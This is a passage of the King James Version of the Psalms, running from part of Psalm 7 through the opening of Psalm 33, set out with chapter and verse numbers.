the rage +of mine enemies: and awake for me to the judgment that thou hast +commanded. + +7:7 So shall the congregation of the people compass thee about: for +their sakes therefore return thou on high. + +7:8 The LORD shall judge the people: judge me, O LORD, according to my +righteousness, and according to mine integrity that is in me. + +7:9 Oh let the wickedness of the wicked come to an end; but establish +the just: for the righteous God trieth the hearts and reins. + +7:10 My defence is of God, which saveth the upright in heart. + +7:11 God judgeth the righteous, and God is angry with the wicked every +day. + +7:12 If he turn not, he will whet his sword; he hath bent his bow, and +made it ready. + +7:13 He hath also prepared for him the instruments of death; he +ordaineth his arrows against the persecutors. + +7:14 Behold, he travaileth with iniquity, and hath conceived mischief, +and brought forth falsehood. + +7:15 He made a pit, and digged it, and is fallen into the ditch which +he made. + +7:16 His mischief shall return upon his own head, and his violent +dealing shall come down upon his own pate. + +7:17 I will praise the LORD according to his righteousness: and will +sing praise to the name of the LORD most high. + + + +8:1 O LORD, our Lord, how excellent is thy name in all the earth! who +hast set thy glory above the heavens. + +8:2 Out of the mouth of babes and sucklings hast thou ordained +strength because of thine enemies, that thou mightest still the enemy +and the avenger. + +8:3 When I consider thy heavens, the work of thy fingers, the moon and +the stars, which thou hast ordained; + +8:4 What is man, that thou art mindful of him? and the son of man, +that thou visitest him? + +8:5 For thou hast made him a little lower than the angels, and hast +crowned him with glory and honour. + +8:6 Thou madest him to have dominion over the works of thy hands; thou +hast put all things under his feet: + +8:7 All sheep and oxen, yea, and the beasts of the field; + +8:8 The fowl of the air, and the fish of the sea, and whatsoever +passeth through the paths of the seas. + +8:9 O LORD our Lord, how excellent is thy name in all the earth! + + + + + +9:1 I will praise thee, O LORD, with my whole heart; I will shew forth +all thy marvellous works. + +9:2 I will be glad and rejoice in thee: I will sing praise to thy +name, O thou most High. + +9:3 When mine enemies are turned back, they shall fall and perish at +thy presence. + +9:4 For thou hast maintained my right and my cause; thou satest in the +throne judging right. + +9:5 Thou hast rebuked the heathen, thou hast destroyed the wicked, +thou hast put out their name for ever and ever. + +9:6 O thou enemy, destructions are come to a perpetual end: and thou +hast destroyed cities; their memorial is perished with them. + +9:7 But the LORD shall endure for ever: he hath prepared his throne +for judgment. + +9:8 And he shall judge the world in righteousness, he shall minister +judgment to the people in uprightness. + +9:9 The LORD also will be a refuge for the oppressed, a refuge in +times of trouble. + +9:10 And they that know thy name will put their trust in thee: for +thou, LORD, hast not forsaken them that seek thee. + +9:11 Sing praises to the LORD, which dwelleth in Zion: declare among +the people his doings. + +9:12 When he maketh inquisition for blood, he remembereth them: he +forgetteth not the cry of the humble. + +9:13 Have mercy upon me, O LORD; consider my trouble which I suffer of +them that hate me, thou that liftest me up from the gates of death: + +9:14 That I may shew forth all thy praise in the gates of the daughter +of Zion: I will rejoice in thy salvation. + +9:15 The heathen are sunk down in the pit that they made: in the net +which they hid is their own foot taken. + +9:16 The LORD is known by the judgment which he executeth: the wicked +is snared in the work of his own hands. Higgaion. Selah. + +9:17 The wicked shall be turned into hell, and all the nations that +forget God. + +9:18 For the needy shall not alway be forgotten: the expectation of +the poor shall not perish for ever. + +9:19 Arise, O LORD; let not man prevail: let the heathen be judged in +thy sight. + +9:20 Put them in fear, O LORD: that the nations may know themselves to +be but men. Selah. + + + +10:1 Why standest thou afar off, O LORD? why hidest thou thyself in +times of trouble? + +10:2 The wicked in his pride doth persecute the poor: let them be +taken in the devices that they have imagined. + +10:3 For the wicked boasteth of his heart's desire, and blesseth the +covetous, whom the LORD abhorreth. + +10:4 The wicked, through the pride of his countenance, will not seek +after God: God is not in all his thoughts. + +10:5 His ways are always grievous; thy judgments are far above out of +his sight: as for all his enemies, he puffeth at them. + +10:6 He hath said in his heart, I shall not be moved: for I shall +never be in adversity. + +10:7 His mouth is full of cursing and deceit and fraud: under his +tongue is mischief and vanity. + +10:8 He sitteth in the lurking places of the villages: in the secret +places doth he murder the innocent: his eyes are privily set against +the poor. + +10:9 He lieth in wait secretly as a lion in his den: he lieth in wait +to catch the poor: he doth catch the poor, when he draweth him into +his net. + +10:10 He croucheth, and humbleth himself, that the poor may fall by +his strong ones. + +10:11 He hath said in his heart, God hath forgotten: he hideth his +face; he will never see it. + +10:12 Arise, O LORD; O God, lift up thine hand: forget not the humble. + +10:13 Wherefore doth the wicked contemn God? he hath said in his +heart, Thou wilt not require it. + +10:14 Thou hast seen it; for thou beholdest mischief and spite, to +requite it with thy hand: the poor committeth himself unto thee; thou +art the helper of the fatherless. + +10:15 Break thou the arm of the wicked and the evil man: seek out his +wickedness till thou find none. + +10:16 The LORD is King for ever and ever: the heathen are perished out +of his land. + +10:17 LORD, thou hast heard the desire of the humble: thou wilt +prepare their heart, thou wilt cause thine ear to hear: + +10:18 To judge the fatherless and the oppressed, that the man of the +earth may no more oppress. + + + +11:1 In the LORD put I my trust: how say ye to my soul, Flee as a bird +to your mountain? + +11:2 For, lo, the wicked bend their bow, they make ready their arrow +upon the string, that they may privily shoot at the upright in heart. + +11:3 If the foundations be destroyed, what can the righteous do? + +11:4 The LORD is in his holy temple, the LORD's throne is in heaven: +his eyes behold, his eyelids try, the children of men. + +11:5 The LORD trieth the righteous: but the wicked and him that loveth +violence his soul hateth. + +11:6 Upon the wicked he shall rain snares, fire and brimstone, and an +horrible tempest: this shall be the portion of their cup. + +11:7 For the righteous LORD loveth righteousness; his countenance doth +behold the upright. + + + +12:1 Help, LORD; for the godly man ceaseth; for the faithful fail from +among the children of men. + +12:2 They speak vanity every one with his neighbour: with flattering +lips and with a double heart do they speak. + +12:3 The LORD shall cut off all flattering lips, and the tongue that +speaketh proud things: + +12:4 Who have said, With our tongue will we prevail; our lips are our +own: who is lord over us? + +12:5 For the oppression of the poor, for the sighing of the needy, now +will I arise, saith the LORD; I will set him in safety from him that +puffeth at him. + +12:6 The words of the LORD are pure words: as silver tried in a +furnace of earth, purified seven times. + +12:7 Thou shalt keep them, O LORD, thou shalt preserve them from this +generation for ever. + +12:8 The wicked walk on every side, when the vilest men are exalted. + + + +13:1 How long wilt thou forget me, O LORD? for ever? how long wilt +thou hide thy face from me? + +13:2 How long shall I take counsel in my soul, having sorrow in my +heart daily? how long shall mine enemy be exalted over me? + +13:3 Consider and hear me, O LORD my God: lighten mine eyes, lest I +sleep the sleep of death; + +13:4 Lest mine enemy say, I have prevailed against him; and those that +trouble me rejoice when I am moved. + +13:5 But I have trusted in thy mercy; my heart shall rejoice in thy +salvation. + +13:6 I will sing unto the LORD, because he hath dealt bountifully with +me. + + + +14:1 The fool hath said in his heart, There is no God. They are +corrupt, they have done abominable works, there is none that doeth +good. + +14:2 The LORD looked down from heaven upon the children of men, to see +if there were any that did understand, and seek God. + +14:3 They are all gone aside, they are all together become filthy: +there is none that doeth good, no, not one. + +14:4 Have all the workers of iniquity no knowledge? who eat up my +people as they eat bread, and call not upon the LORD. + +14:5 There were they in great fear: for God is in the generation of +the righteous. + +14:6 Ye have shamed the counsel of the poor, because the LORD is his +refuge. + +14:7 Oh that the salvation of Israel were come out of Zion! when the +LORD bringeth back the captivity of his people, Jacob shall rejoice, +and Israel shall be glad. + + + +15:1 Lord, who shall abide in thy tabernacle? who shall dwell in thy +holy hill? + +15:2 He that walketh uprightly, and worketh righteousness, and +speaketh the truth in his heart. + +15:3 He that backbiteth not with his tongue, nor doeth evil to his +neighbour, nor taketh up a reproach against his neighbour. + +15:4 In whose eyes a vile person is contemned; but he honoureth them +that fear the LORD. He that sweareth to his own hurt, and changeth +not. + +15:5 He that putteth not out his money to usury, nor taketh reward +against the innocent. He that doeth these things shall never be moved. + + + +16:1 Preserve me, O God: for in thee do I put my trust. + +16:2 O my soul, thou hast said unto the LORD, Thou art my Lord: my +goodness extendeth not to thee; + +16:3 But to the saints that are in the earth, and to the excellent, in +whom is all my delight. + +16:4 Their sorrows shall be multiplied that hasten after another god: +their drink offerings of blood will I not offer, nor take up their +names into my lips. + +16:5 The LORD is the portion of mine inheritance and of my cup: thou +maintainest my lot. + +16:6 The lines are fallen unto me in pleasant places; yea, I have a +goodly heritage. + +16:7 I will bless the LORD, who hath given me counsel: my reins also +instruct me in the night seasons. + +16:8 I have set the LORD always before me: because he is at my right +hand, I shall not be moved. + +16:9 Therefore my heart is glad, and my glory rejoiceth: my flesh also +shall rest in hope. + +16:10 For thou wilt not leave my soul in hell; neither wilt thou +suffer thine Holy One to see corruption. + +16:11 Thou wilt shew me the path of life: in thy presence is fulness +of joy; at thy right hand there are pleasures for evermore. + + + +17:1 Hear the right, O LORD, attend unto my cry, give ear unto my +prayer, that goeth not out of feigned lips. + +17:2 Let my sentence come forth from thy presence; let thine eyes +behold the things that are equal. + +17:3 Thou hast proved mine heart; thou hast visited me in the night; +thou hast tried me, and shalt find nothing; I am purposed that my +mouth shall not transgress. + +17:4 Concerning the works of men, by the word of thy lips I have kept +me from the paths of the destroyer. + +17:5 Hold up my goings in thy paths, that my footsteps slip not. + +17:6 I have called upon thee, for thou wilt hear me, O God: incline +thine ear unto me, and hear my speech. + +17:7 Shew thy marvellous lovingkindness, O thou that savest by thy +right hand them which put their trust in thee from those that rise up +against them. + +17:8 Keep me as the apple of the eye, hide me under the shadow of thy +wings, + +17:9 From the wicked that oppress me, from my deadly enemies, who +compass me about. + +17:10 They are inclosed in their own fat: with their mouth they speak +proudly. + +17:11 They have now compassed us in our steps: they have set their +eyes bowing down to the earth; + +17:12 Like as a lion that is greedy of his prey, and as it were a +young lion lurking in secret places. + +17:13 Arise, O LORD, disappoint him, cast him down: deliver my soul +from the wicked, which is thy sword: + +17:14 From men which are thy hand, O LORD, from men of the world, +which have their portion in this life, and whose belly thou fillest +with thy hid treasure: they are full of children, and leave the rest +of their substance to their babes. + +17:15 As for me, I will behold thy face in righteousness: I shall be +satisfied, when I awake, with thy likeness. + + + +18:1 I will love thee, O LORD, my strength. + +18:2 The LORD is my rock, and my fortress, and my deliverer; my God, +my strength, in whom I will trust; my buckler, and the horn of my +salvation, and my high tower. + +18:3 I will call upon the LORD, who is worthy to be praised: so shall +I be saved from mine enemies. + +18:4 The sorrows of death compassed me, and the floods of ungodly men +made me afraid. + +18:5 The sorrows of hell compassed me about: the snares of death +prevented me. + +18:6 In my distress I called upon the LORD, and cried unto my God: he +heard my voice out of his temple, and my cry came before him, even +into his ears. + +18:7 Then the earth shook and trembled; the foundations also of the +hills moved and were shaken, because he was wroth. + +18:8 There went up a smoke out of his nostrils, and fire out of his +mouth devoured: coals were kindled by it. + +18:9 He bowed the heavens also, and came down: and darkness was under +his feet. + +18:10 And he rode upon a cherub, and did fly: yea, he did fly upon the +wings of the wind. + +18:11 He made darkness his secret place; his pavilion round about him +were dark waters and thick clouds of the skies. + +18:12 At the brightness that was before him his thick clouds passed, +hail stones and coals of fire. + +18:13 The LORD also thundered in the heavens, and the Highest gave his +voice; hail stones and coals of fire. + +18:14 Yea, he sent out his arrows, and scattered them; and he shot out +lightnings, and discomfited them. + +18:15 Then the channels of waters were seen, and the foundations of +the world were discovered at thy rebuke, O LORD, at the blast of the +breath of thy nostrils. + +18:16 He sent from above, he took me, he drew me out of many waters. + +18:17 He delivered me from my strong enemy, and from them which hated +me: for they were too strong for me. + +18:18 They prevented me in the day of my calamity: but the LORD was my +stay. + +18:19 He brought me forth also into a large place; he delivered me, +because he delighted in me. + +18:20 The LORD rewarded me according to my righteousness; according to +the cleanness of my hands hath he recompensed me. + +18:21 For I have kept the ways of the LORD, and have not wickedly +departed from my God. + +18:22 For all his judgments were before me, and I did not put away his +statutes from me. + +18:23 I was also upright before him, and I kept myself from mine +iniquity. + +18:24 Therefore hath the LORD recompensed me according to my +righteousness, according to the cleanness of my hands in his eyesight. + +18:25 With the merciful thou wilt shew thyself merciful; with an +upright man thou wilt shew thyself upright; + +18:26 With the pure thou wilt shew thyself pure; and with the froward +thou wilt shew thyself froward. + +18:27 For thou wilt save the afflicted people; but wilt bring down +high looks. + +18:28 For thou wilt light my candle: the LORD my God will enlighten my +darkness. + +18:29 For by thee I have run through a troop; and by my God have I +leaped over a wall. + +18:30 As for God, his way is perfect: the word of the LORD is tried: +he is a buckler to all those that trust in him. + +18:31 For who is God save the LORD? or who is a rock save our God? + +18:32 It is God that girdeth me with strength, and maketh my way +perfect. + +18:33 He maketh my feet like hinds' feet, and setteth me upon my high +places. + +18:34 He teacheth my hands to war, so that a bow of steel is broken by +mine arms. + +18:35 Thou hast also given me the shield of thy salvation: and thy +right hand hath holden me up, and thy gentleness hath made me great. + +18:36 Thou hast enlarged my steps under me, that my feet did not slip. + +18:37 I have pursued mine enemies, and overtaken them: neither did I +turn again till they were consumed. + +18:38 I have wounded them that they were not able to rise: they are +fallen under my feet. + +18:39 For thou hast girded me with strength unto the battle: thou hast +subdued under me those that rose up against me. + +18:40 Thou hast also given me the necks of mine enemies; that I might +destroy them that hate me. + +18:41 They cried, but there was none to save them: even unto the LORD, +but he answered them not. + +18:42 Then did I beat them small as the dust before the wind: I did +cast them out as the dirt in the streets. + +18:43 Thou hast delivered me from the strivings of the people; and +thou hast made me the head of the heathen: a people whom I have not +known shall serve me. + +18:44 As soon as they hear of me, they shall obey me: the strangers +shall submit themselves unto me. + +18:45 The strangers shall fade away, and be afraid out of their close +places. + +18:46 The LORD liveth; and blessed be my rock; and let the God of my +salvation be exalted. + +18:47 It is God that avengeth me, and subdueth the people under me. + +18:48 He delivereth me from mine enemies: yea, thou liftest me up +above those that rise up against me: thou hast delivered me from the +violent man. + +18:49 Therefore will I give thanks unto thee, O LORD, among the +heathen, and sing praises unto thy name. + +18:50 Great deliverance giveth he to his king; and sheweth mercy to +his anointed, to David, and to his seed for evermore. + + + +19:1 The heavens declare the glory of God; and the firmament sheweth +his handywork. + +19:2 Day unto day uttereth speech, and night unto night sheweth +knowledge. + +19:3 There is no speech nor language, where their voice is not heard. + +19:4 Their line is gone out through all the earth, and their words to +the end of the world. In them hath he set a tabernacle for the sun, + +19:5 Which is as a bridegroom coming out of his chamber, and rejoiceth +as a strong man to run a race. + +19:6 His going forth is from the end of the heaven, and his circuit +unto the ends of it: and there is nothing hid from the heat thereof. + +19:7 The law of the LORD is perfect, converting the soul: the +testimony of the LORD is sure, making wise the simple. + +19:8 The statutes of the LORD are right, rejoicing the heart: the +commandment of the LORD is pure, enlightening the eyes. + +19:9 The fear of the LORD is clean, enduring for ever: the judgments +of the LORD are true and righteous altogether. + +19:10 More to be desired are they than gold, yea, than much fine gold: +sweeter also than honey and the honeycomb. + +19:11 Moreover by them is thy servant warned: and in keeping of them +there is great reward. + +19:12 Who can understand his errors? cleanse thou me from secret +faults. + +19:13 Keep back thy servant also from presumptuous sins; let them not +have dominion over me: then shall I be upright, and I shall be +innocent from the great transgression. + +19:14 Let the words of my mouth, and the meditation of my heart, be +acceptable in thy sight, O LORD, my strength, and my redeemer. + + + +20:1 The LORD hear thee in the day of trouble; the name of the God of +Jacob defend thee; + +20:2 Send thee help from the sanctuary, and strengthen thee out of +Zion; + +20:3 Remember all thy offerings, and accept thy burnt sacrifice; +Selah. + +20:4 Grant thee according to thine own heart, and fulfil all thy +counsel. + +20:5 We will rejoice in thy salvation, and in the name of our God we +will set up our banners: the LORD fulfil all thy petitions. + +20:6 Now know I that the LORD saveth his anointed; he will hear him +from his holy heaven with the saving strength of his right hand. + +20:7 Some trust in chariots, and some in horses: but we will remember +the name of the LORD our God. + +20:8 They are brought down and fallen: but we are risen, and stand +upright. + +20:9 Save, LORD: let the king hear us when we call. + + + +21:1 The king shall joy in thy strength, O LORD; and in thy salvation +how greatly shall he rejoice! + +21:2 Thou hast given him his heart's desire, and hast not withholden +the request of his lips. Selah. + +21:3 For thou preventest him with the blessings of goodness: thou +settest a crown of pure gold on his head. + +21:4 He asked life of thee, and thou gavest it him, even length of +days for ever and ever. + +21:5 His glory is great in thy salvation: honour and majesty hast thou +laid upon him. + +21:6 For thou hast made him most blessed for ever: thou hast made him +exceeding glad with thy countenance. + +21:7 For the king trusteth in the LORD, and through the mercy of the +most High he shall not be moved. + +21:8 Thine hand shall find out all thine enemies: thy right hand shall +find out those that hate thee. + +21:9 Thou shalt make them as a fiery oven in the time of thine anger: +the LORD shall swallow them up in his wrath, and the fire shall devour +them. + +21:10 Their fruit shalt thou destroy from the earth, and their seed +from among the children of men. + +21:11 For they intended evil against thee: they imagined a mischievous +device, which they are not able to perform. + +21:12 Therefore shalt thou make them turn their back, when thou shalt +make ready thine arrows upon thy strings against the face of them. + +21:13 Be thou exalted, LORD, in thine own strength: so will we sing +and praise thy power. + + + +22:1 My God, my God, why hast thou forsaken me? why art thou so far +from helping me, and from the words of my roaring? + +22:2 O my God, I cry in the day time, but thou hearest not; and in the +night season, and am not silent. + +22:3 But thou art holy, O thou that inhabitest the praises of Israel. + +22:4 Our fathers trusted in thee: they trusted, and thou didst deliver +them. + +22:5 They cried unto thee, and were delivered: they trusted in thee, +and were not confounded. + +22:6 But I am a worm, and no man; a reproach of men, and despised of +the people. + +22:7 All they that see me laugh me to scorn: they shoot out the lip, +they shake the head, saying, + +22:8 He trusted on the LORD that he would deliver him: let him deliver +him, seeing he delighted in him. + +22:9 But thou art he that took me out of the womb: thou didst make me +hope when I was upon my mother's breasts. + +22:10 I was cast upon thee from the womb: thou art my God from my +mother's belly. + +22:11 Be not far from me; for trouble is near; for there is none to +help. + +22:12 Many bulls have compassed me: strong bulls of Bashan have beset +me round. + +22:13 They gaped upon me with their mouths, as a ravening and a +roaring lion. + +22:14 I am poured out like water, and all my bones are out of joint: +my heart is like wax; it is melted in the midst of my bowels. + +22:15 My strength is dried up like a potsherd; and my tongue cleaveth +to my jaws; and thou hast brought me into the dust of death. + +22:16 For dogs have compassed me: the assembly of the wicked have +inclosed me: they pierced my hands and my feet. + +22:17 I may tell all my bones: they look and stare upon me. + +22:18 They part my garments among them, and cast lots upon my vesture. + +22:19 But be not thou far from me, O LORD: O my strength, haste thee +to help me. + +22:20 Deliver my soul from the sword; my darling from the power of the +dog. + +22:21 Save me from the lion's mouth: for thou hast heard me from the +horns of the unicorns. + +22:22 I will declare thy name unto my brethren: in the midst of the +congregation will I praise thee. + +22:23 Ye that fear the LORD, praise him; all ye the seed of Jacob, +glorify him; and fear him, all ye the seed of Israel. + +22:24 For he hath not despised nor abhorred the affliction of the +afflicted; neither hath he hid his face from him; but when he cried +unto him, he heard. + +22:25 My praise shall be of thee in the great congregation: I will pay +my vows before them that fear him. + +22:26 The meek shall eat and be satisfied: they shall praise the LORD +that seek him: your heart shall live for ever. + +22:27 All the ends of the world shall remember and turn unto the LORD: +and all the kindreds of the nations shall worship before thee. + +22:28 For the kingdom is the LORD's: and he is the governor among the +nations. + +22:29 All they that be fat upon earth shall eat and worship: all they +that go down to the dust shall bow before him: and none can keep alive +his own soul. + +22:30 A seed shall serve him; it shall be accounted to the Lord for a +generation. + +22:31 They shall come, and shall declare his righteousness unto a +people that shall be born, that he hath done this. + + + +23:1 The LORD is my shepherd; I shall not want. + +23:2 He maketh me to lie down in green pastures: he leadeth me beside +the still waters. + +23:3 He restoreth my soul: he leadeth me in the paths of righteousness +for his name's sake. + +23:4 Yea, though I walk through the valley of the shadow of death, I +will fear no evil: for thou art with me; thy rod and thy staff they +comfort me. + +23:5 Thou preparest a table before me in the presence of mine enemies: +thou anointest my head with oil; my cup runneth over. + +23:6 Surely goodness and mercy shall follow me all the days of my +life: and I will dwell in the house of the LORD for ever. + + + +24:1 The earth is the LORD's, and the fulness thereof; the world, and +they that dwell therein. + +24:2 For he hath founded it upon the seas, and established it upon the +floods. + +24:3 Who shall ascend into the hill of the LORD? or who shall stand in +his holy place? + +24:4 He that hath clean hands, and a pure heart; who hath not lifted +up his soul unto vanity, nor sworn deceitfully. + +24:5 He shall receive the blessing from the LORD, and righteousness +from the God of his salvation. + +24:6 This is the generation of them that seek him, that seek thy face, +O Jacob. Selah. + +24:7 Lift up your heads, O ye gates; and be ye lift up, ye everlasting +doors; and the King of glory shall come in. + +24:8 Who is this King of glory? The LORD strong and mighty, the LORD +mighty in battle. + +24:9 Lift up your heads, O ye gates; even lift them up, ye everlasting +doors; and the King of glory shall come in. + +24:10 Who is this King of glory? The LORD of hosts, he is the King of +glory. Selah. + + + +25:1 Unto thee, O LORD, do I lift up my soul. + +25:2 O my God, I trust in thee: let me not be ashamed, let not mine +enemies triumph over me. + +25:3 Yea, let none that wait on thee be ashamed: let them be ashamed +which transgress without cause. + +25:4 Shew me thy ways, O LORD; teach me thy paths. + +25:5 Lead me in thy truth, and teach me: for thou art the God of my +salvation; on thee do I wait all the day. + +25:6 Remember, O LORD, thy tender mercies and thy lovingkindnesses; +for they have been ever of old. + +25:7 Remember not the sins of my youth, nor my transgressions: +according to thy mercy remember thou me for thy goodness' sake, O +LORD. + +25:8 Good and upright is the LORD: therefore will he teach sinners in +the way. + +25:9 The meek will he guide in judgment: and the meek will he teach +his way. + +25:10 All the paths of the LORD are mercy and truth unto such as keep +his covenant and his testimonies. + +25:11 For thy name's sake, O LORD, pardon mine iniquity; for it is +great. + +25:12 What man is he that feareth the LORD? him shall he teach in the +way that he shall choose. + +25:13 His soul shall dwell at ease; and his seed shall inherit the +earth. + +25:14 The secret of the LORD is with them that fear him; and he will +shew them his covenant. + +25:15 Mine eyes are ever toward the LORD; for he shall pluck my feet +out of the net. + +25:16 Turn thee unto me, and have mercy upon me; for I am desolate and +afflicted. + +25:17 The troubles of my heart are enlarged: O bring thou me out of my +distresses. + +25:18 Look upon mine affliction and my pain; and forgive all my sins. + +25:19 Consider mine enemies; for they are many; and they hate me with +cruel hatred. + +25:20 O keep my soul, and deliver me: let me not be ashamed; for I put +my trust in thee. + +25:21 Let integrity and uprightness preserve me; for I wait on thee. + +25:22 Redeem Israel, O God, out of all his troubles. + + + +26:1 Judge me, O LORD; for I have walked in mine integrity: I have +trusted also in the LORD; therefore I shall not slide. + +26:2 Examine me, O LORD, and prove me; try my reins and my heart. + +26:3 For thy lovingkindness is before mine eyes: and I have walked in +thy truth. + +26:4 I have not sat with vain persons, neither will I go in with +dissemblers. + +26:5 I have hated the congregation of evil doers; and will not sit +with the wicked. + +26:6 I will wash mine hands in innocency: so will I compass thine +altar, O LORD: + +26:7 That I may publish with the voice of thanksgiving, and tell of +all thy wondrous works. + +26:8 LORD, I have loved the habitation of thy house, and the place +where thine honour dwelleth. + +26:9 Gather not my soul with sinners, nor my life with bloody men: + +26:10 In whose hands is mischief, and their right hand is full of +bribes. + +26:11 But as for me, I will walk in mine integrity: redeem me, and be +merciful unto me. + +26:12 My foot standeth in an even place: in the congregations will I +bless the LORD. + + + +27:1 The LORD is my light and my salvation; whom shall I fear? the +LORD is the strength of my life; of whom shall I be afraid? + +27:2 When the wicked, even mine enemies and my foes, came upon me to +eat up my flesh, they stumbled and fell. + +27:3 Though an host should encamp against me, my heart shall not fear: +though war should rise against me, in this will I be confident. + +27:4 One thing have I desired of the LORD, that will I seek after; +that I may dwell in the house of the LORD all the days of my life, to +behold the beauty of the LORD, and to enquire in his temple. + +27:5 For in the time of trouble he shall hide me in his pavilion: in +the secret of his tabernacle shall he hide me; he shall set me up upon +a rock. + +27:6 And now shall mine head be lifted up above mine enemies round +about me: therefore will I offer in his tabernacle sacrifices of joy; +I will sing, yea, I will sing praises unto the LORD. + +27:7 Hear, O LORD, when I cry with my voice: have mercy also upon me, +and answer me. + +27:8 When thou saidst, Seek ye my face; my heart said unto thee, Thy +face, LORD, will I seek. + +27:9 Hide not thy face far from me; put not thy servant away in anger: +thou hast been my help; leave me not, neither forsake me, O God of my +salvation. + +27:10 When my father and my mother forsake me, then the LORD will take +me up. + +27:11 Teach me thy way, O LORD, and lead me in a plain path, because +of mine enemies. + +27:12 Deliver me not over unto the will of mine enemies: for false +witnesses are risen up against me, and such as breathe out cruelty. + +27:13 I had fainted, unless I had believed to see the goodness of the +LORD in the land of the living. + +27:14 Wait on the LORD: be of good courage, and he shall strengthen +thine heart: wait, I say, on the LORD. + + + +28:1 Unto thee will I cry, O LORD my rock; be not silent to me: lest, +if thou be silent to me, I become like them that go down into the pit. + +28:2 Hear the voice of my supplications, when I cry unto thee, when I +lift up my hands toward thy holy oracle. + +28:3 Draw me not away with the wicked, and with the workers of +iniquity, which speak peace to their neighbours, but mischief is in +their hearts. + +28:4 Give them according to their deeds, and according to the +wickedness of their endeavours: give them after the work of their +hands; render to them their desert. + +28:5 Because they regard not the works of the LORD, nor the operation +of his hands, he shall destroy them, and not build them up. + +28:6 Blessed be the LORD, because he hath heard the voice of my +supplications. + +28:7 The LORD is my strength and my shield; my heart trusted in him, +and I am helped: therefore my heart greatly rejoiceth; and with my +song will I praise him. + +28:8 The LORD is their strength, and he is the saving strength of his +anointed. + +28:9 Save thy people, and bless thine inheritance: feed them also, and +lift them up for ever. + + + +29:1 Give unto the LORD, O ye mighty, give unto the LORD glory and +strength. + +29:2 Give unto the LORD the glory due unto his name; worship the LORD +in the beauty of holiness. + +29:3 The voice of the LORD is upon the waters: the God of glory +thundereth: the LORD is upon many waters. + +29:4 The voice of the LORD is powerful; the voice of the LORD is full +of majesty. + +29:5 The voice of the LORD breaketh the cedars; yea, the LORD breaketh +the cedars of Lebanon. + +29:6 He maketh them also to skip like a calf; Lebanon and Sirion like +a young unicorn. + +29:7 The voice of the LORD divideth the flames of fire. + +29:8 The voice of the LORD shaketh the wilderness; the LORD shaketh +the wilderness of Kadesh. + +29:9 The voice of the LORD maketh the hinds to calve, and discovereth +the forests: and in his temple doth every one speak of his glory. + +29:10 The LORD sitteth upon the flood; yea, the LORD sitteth King for +ever. + +29:11 The LORD will give strength unto his people; the LORD will bless +his people with peace. + + + +30:1 I will extol thee, O LORD; for thou hast lifted me up, and hast +not made my foes to rejoice over me. + +30:2 O LORD my God, I cried unto thee, and thou hast healed me. + +30:3 O LORD, thou hast brought up my soul from the grave: thou hast +kept me alive, that I should not go down to the pit. + +30:4 Sing unto the LORD, O ye saints of his, and give thanks at the +remembrance of his holiness. + +30:5 For his anger endureth but a moment; in his favour is life: +weeping may endure for a night, but joy cometh in the morning. + +30:6 And in my prosperity I said, I shall never be moved. + +30:7 LORD, by thy favour thou hast made my mountain to stand strong: +thou didst hide thy face, and I was troubled. + +30:8 I cried to thee, O LORD; and unto the LORD I made supplication. + +30:9 What profit is there in my blood, when I go down to the pit? +Shall the dust praise thee? shall it declare thy truth? + +30:10 Hear, O LORD, and have mercy upon me: LORD, be thou my helper. + +30:11 Thou hast turned for me my mourning into dancing: thou hast put +off my sackcloth, and girded me with gladness; + +30:12 To the end that my glory may sing praise to thee, and not be +silent. + +O LORD my God, I will give thanks unto thee for ever. + + + +31:1 In thee, O LORD, do I put my trust; let me never be ashamed: +deliver me in thy righteousness. + +31:2 Bow down thine ear to me; deliver me speedily: be thou my strong +rock, for an house of defence to save me. + +31:3 For thou art my rock and my fortress; therefore for thy name's +sake lead me, and guide me. + +31:4 Pull me out of the net that they have laid privily for me: for +thou art my strength. + +31:5 Into thine hand I commit my spirit: thou hast redeemed me, O LORD +God of truth. + +31:6 I have hated them that regard lying vanities: but I trust in the +LORD. + +31:7 I will be glad and rejoice in thy mercy: for thou hast considered +my trouble; thou hast known my soul in adversities; + +31:8 And hast not shut me up into the hand of the enemy: thou hast set +my feet in a large room. + +31:9 Have mercy upon me, O LORD, for I am in trouble: mine eye is +consumed with grief, yea, my soul and my belly. + +31:10 For my life is spent with grief, and my years with sighing: my +strength faileth because of mine iniquity, and my bones are consumed. + +31:11 I was a reproach among all mine enemies, but especially among my +neighbours, and a fear to mine acquaintance: they that did see me +without fled from me. + +31:12 I am forgotten as a dead man out of mind: I am like a broken +vessel. + +31:13 For I have heard the slander of many: fear was on every side: +while they took counsel together against me, they devised to take away +my life. + +31:14 But I trusted in thee, O LORD: I said, Thou art my God. + +31:15 My times are in thy hand: deliver me from the hand of mine +enemies, and from them that persecute me. + +31:16 Make thy face to shine upon thy servant: save me for thy +mercies' sake. + +31:17 Let me not be ashamed, O LORD; for I have called upon thee: let +the wicked be ashamed, and let them be silent in the grave. + +31:18 Let the lying lips be put to silence; which speak grievous +things proudly and contemptuously against the righteous. + +31:19 Oh how great is thy goodness, which thou hast laid up for them +that fear thee; which thou hast wrought for them that trust in thee +before the sons of men! + +31:20 Thou shalt hide them in the secret of thy presence from the +pride of man: thou shalt keep them secretly in a pavilion from the +strife of tongues. + +31:21 Blessed be the LORD: for he hath shewed me his marvellous +kindness in a strong city. + +31:22 For I said in my haste, I am cut off from before thine eyes: +nevertheless thou heardest the voice of my supplications when I cried +unto thee. + +31:23 O love the LORD, all ye his saints: for the LORD preserveth the +faithful, and plentifully rewardeth the proud doer. + +31:24 Be of good courage, and he shall strengthen your heart, all ye +that hope in the LORD. + + + +32:1 Blessed is he whose transgression is forgiven, whose sin is +covered. + +32:2 Blessed is the man unto whom the LORD imputeth not iniquity, and +in whose spirit there is no guile. + +32:3 When I kept silence, my bones waxed old through my roaring all +the day long. + +32:4 For day and night thy hand was heavy upon me: my moisture is +turned into the drought of summer. Selah. + +32:5 I acknowledge my sin unto thee, and mine iniquity have I not hid. +I said, I will confess my transgressions unto the LORD; and thou +forgavest the iniquity of my sin. Selah. + +32:6 For this shall every one that is godly pray unto thee in a time +when thou mayest be found: surely in the floods of great waters they +shall not come nigh unto him. + +32:7 Thou art my hiding place; thou shalt preserve me from trouble; +thou shalt compass me about with songs of deliverance. Selah. + +32:8 I will instruct thee and teach thee in the way which thou shalt +go: I will guide thee with mine eye. + +32:9 Be ye not as the horse, or as the mule, which have no +understanding: whose mouth must be held in with bit and bridle, lest +they come near unto thee. + +32:10 Many sorrows shall be to the wicked: but he that trusteth in the +LORD, mercy shall compass him about. + +32:11 Be glad in the LORD, and rejoice, ye righteous: and shout for +joy, all ye that are upright in heart. + + + +33:1 Rejoice in the LORD, O ye righteous: for praise is comely for the +upright. + +33:2 